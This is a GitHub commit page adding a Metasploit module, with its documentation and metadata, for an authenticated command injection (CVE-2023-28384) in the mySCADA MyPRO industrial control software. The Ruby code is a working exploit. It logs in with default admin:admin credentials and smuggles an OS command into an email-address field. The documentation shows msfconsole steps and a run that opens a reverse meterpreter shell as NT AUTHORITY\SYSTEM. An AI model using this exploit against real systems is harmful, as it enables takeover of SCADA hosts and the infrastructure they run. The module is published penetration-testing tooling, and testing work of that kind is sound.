Skip to content

Commit 5984988

Browse files
Takahiro-YokoTakahiro-Yoko
authored
Merge branch 'rapid7:master' into master
2 parents ebcd7e0 + 45e105e commit 5984988

File tree

3 files changed

+295
-0
lines changed

3 files changed

+295
-0
lines changed

‎db/modules_metadata_base.json

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -187237,6 +187237,65 @@
187237187237
"session_types": false,
187238187238
"needs_cleanup": null
187239187239
},
187240+
"exploit_windows/scada/mypro_cmdexe": {
187241+
"name": "mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)",
187242+
"fullname": "exploit/windows/scada/mypro_cmdexe",
187243+
"aliases": [
187244+
187245+
],
187246+
"rank": 600,
187247+
"disclosure_date": "2022-09-22",
187248+
"type": "exploit",
187249+
"author": [
187250+
"Michael Heinzl"
187251+
],
187252+
"description": "Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA.\n The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\\SYSTEM.",
187253+
"references": [
187254+
"URL-https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06",
187255+
"CVE-2023-28384"
187256+
],
187257+
"platform": "Windows",
187258+
"arch": "cmd",
187259+
"rport": 80,
187260+
"autofilter_ports": [
187261+
80,
187262+
8080,
187263+
443,
187264+
8000,
187265+
8888,
187266+
8880,
187267+
8008,
187268+
3000,
187269+
8443
187270+
],
187271+
"autofilter_services": [
187272+
"http",
187273+
"https"
187274+
],
187275+
"targets": [
187276+
"Windows_Fetch"
187277+
],
187278+
"mod_time": "2024-07-25 23:54:27 +0000",
187279+
"path": "/modules/exploits/windows/scada/mypro_cmdexe.rb",
187280+
"is_install_path": true,
187281+
"ref_name": "windows/scada/mypro_cmdexe",
187282+
"check": true,
187283+
"post_auth": true,
187284+
"default_credential": false,
187285+
"notes": {
187286+
"Stability": [
187287+
"crash-safe"
187288+
],
187289+
"Reliability": [
187290+
"repeatable-session"
187291+
],
187292+
"SideEffects": [
187293+
"ioc-in-logs"
187294+
]
187295+
},
187296+
"session_types": false,
187297+
"needs_cleanup": null
187298+
},
187240187299
"exploit_windows/scada/procyon_core_server": {
187241187300
"name": "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow",
187242187301
"fullname": "exploit/windows/scada/procyon_core_server",

‎documentation/modules/exploit/windows/scada/mypro_cmdexe.md

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Vulnerable Application
2+
3+
**Vulnerability Description**
4+
5+
This module exploits a command injection vulnerability in mySCADA MyPRO <= v8.28.0 (CVE-2023-28384).
6+
7+
An authenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of
8+
`NT AUTHORITY\SYSTEM`.
9+
This module uses the default admin:admin credentials, but any account configured on the system can be used to exploit this issue.
10+
11+
Versions <= 8.28.0 are affected. CISA published [ICSA-23-096-06](https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06) to cover
12+
the security issues. The official changelog for the updated version, v8.29.0, is available
13+
[here](https://web.archive.org/web/20230320130928/https://www.myscada.org/changelog/?section=version-8-29-0), although it only mentions a
14+
"General security improvement" without further details.
15+
16+
**Vulnerable Application Installation**
17+
18+
A trial version of the software can be obtained from [the vendor](http://nsa.myscada.org/myPRO/WIN/myPRO_x64_8.28.0.exe).
19+
For the product to work correctly, the project and log directories need to be configured first, which can be done through the web inteface
20+
(navigate to System > Storage).
21+
22+
**Successfully tested on**
23+
24+
- mySCADA MyPRO 8.28.0 on Windows 10 22H2
25+
- mySCADA MyPRO 8.27.0 on Windows 10 22H2
26+
- mySCADA MyPRO 8.26.0 on Windows 10 22H2
27+
28+
## Verification Steps
29+
30+
1. Install the application
31+
2. Configure the project and log paths (System > Storage in the web interface, running by default on TCP ports 80 & 443)
32+
3. Start `msfconsole` and run the following commands:
33+
34+
```
35+
msf6 > use exploit/windows/scada/mypro_cmdexe
36+
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
37+
msf6 exploit(windows/scada/mypro_cmdexe) > set RHOSTS <IP>
38+
msf6 exploit(windows/scada/mypro_cmdexe) > exploit
39+
```
40+
41+
You should get a meterpreter session in the context of `NT AUTHORITY\SYSTEM`.
42+
43+
## Options
44+
### USERNAME
45+
46+
The username of a MyPRO user (default: admin)
47+
48+
### PASSWORD
49+
50+
The associated password of the MyPRO user (default: admin)
51+
52+
## Scenarios
53+
54+
Running the exploit against MyPRO v8.28.0 on Windows 10 22H2, using curl as a fetch command, should result in an output similar to the
55+
following:
56+
57+
```
58+
msf6 exploit(windows/scada/mypro_cmdexe) > exploit
59+
60+
[*] Started reverse TCP handler on 192.168.1.241:4444
61+
[*] Running automatic check ("set AutoCheck false" to disable)
62+
[+] The target appears to be vulnerable.
63+
[*] Checking credentials...
64+
[+] Credentials are working.
65+
[*] Sending command injection...
66+
[*] Sending stage (201798 bytes) to 192.168.1.239
67+
[*] Meterpreter session 12 opened (192.168.1.241:4444 -> 192.168.1.239:57382) at 2024-07-23 23:38:12 -0400
68+
[*] Exploit finished, check thy shell.
69+
70+
meterpreter > shell
71+
Process 2632 created.
72+
Channel 1 created.
73+
Microsoft Windows [Version 10.0.19045.4651]
74+
(c) Microsoft Corporation. All rights reserved.
75+
76+
C:\WINDOWS\system32>whoami
77+
whoami
78+
nt authority\system
79+
```

‎modules/exploits/windows/scada/mypro_cmdexe.rb

Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)',
11+
'Description' => %q{
12+
Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA.
13+
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.
14+
},
15+
'License' => MSF_LICENSE,
16+
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
17+
'References' => [
18+
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'],
19+
[ 'CVE', '2023-28384']
20+
],
21+
'DisclosureDate' => '2022-09-22',
22+
'Platform' => 'win',
23+
'Arch' => [ ARCH_CMD ],
24+
'Targets' => [
25+
[
26+
'Windows_Fetch',
27+
{
28+
'Arch' => [ ARCH_CMD ],
29+
'Platform' => 'win',
30+
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
31+
'Type' => :win_fetch
32+
}
33+
]
34+
],
35+
'DefaultTarget' => 0,
36+
37+
'Notes' => {
38+
'Stability' => [CRASH_SAFE],
39+
'Reliability' => [REPEATABLE_SESSION],
40+
'SideEffects' => [IOC_IN_LOGS]
41+
}
42+
)
43+
)
44+
45+
register_options(
46+
[
47+
OptString.new(
48+
'USERNAME',
49+
[ true, 'The username to authenticate with (default: admin)', 'admin' ]
50+
),
51+
OptString.new(
52+
'PASSWORD',
53+
[ true, 'The password to authenticate with (default: admin)', 'admin' ]
54+
),
55+
OptString.new(
56+
'TARGETURI',
57+
[ true, 'The URI for the MyPRO web interface', '/' ]
58+
)
59+
]
60+
)
61+
end
62+
63+
# Determine if the MyPRO instance runs a vulnerable version
64+
def check
65+
begin
66+
res = send_request_cgi({
67+
'method' => 'POST',
68+
'uri' => normalize_uri(target_uri.path, 'l.fcgi'),
69+
'vars_post' => {
70+
't' => '98'
71+
}
72+
})
73+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
74+
return CheckCode::Unknown
75+
end
76+
77+
if res && res.code == 200
78+
data = res.get_json_document
79+
version = data['V']
80+
if version.nil?
81+
return CheckCode::Unknown
82+
else
83+
vprint_status('Version retrieved: ' + version)
84+
end
85+
86+
if Rex::Version.new(version) <= Rex::Version.new('8.28')
87+
return CheckCode::Appears
88+
else
89+
return CheckCode::Safe
90+
end
91+
else
92+
return CheckCode::Unknown
93+
end
94+
end
95+
96+
def exploit
97+
execute_command(payload.encoded)
98+
end
99+
100+
def execute_command(cmd)
101+
print_status('Checking credentials...')
102+
check_auth
103+
print_status('Sending command injection...')
104+
exec_mypro(cmd)
105+
print_status('Exploit finished, check thy shell.')
106+
end
107+
108+
# Check if credentials are working
109+
def check_auth
110+
res = send_request_cgi({
111+
'method' => 'GET',
112+
'uri' => normalize_uri(target_uri.path, 'sss2'),
113+
'headers' => {
114+
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
115+
}
116+
})
117+
118+
unless res
119+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
120+
end
121+
case res.code
122+
when 200
123+
print_good('Credentials are working.')
124+
when 401
125+
fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?')
126+
else
127+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')
128+
end
129+
end
130+
131+
# Send command injection
132+
def exec_mypro(cmd)
133+
post_data = {
134+
'type' => 'sendEmail',
135+
'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}"
136+
}
137+
post_json = JSON.generate(post_data)
138+
139+
res = send_request_cgi({
140+
'method' => 'POST',
141+
'ctype' => 'application/json',
142+
'data' => post_json,
143+
'uri' => normalize_uri(target_uri.path, 'sss2'),
144+
'headers' => {
145+
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
146+
}
147+
148+
})
149+
150+
# We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.
151+
152+
if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned.
153+
print_good('Command successfully executed, check your shell.')
154+
end
155+
end
156+
157+
end

0 commit comments

Comments
 (0)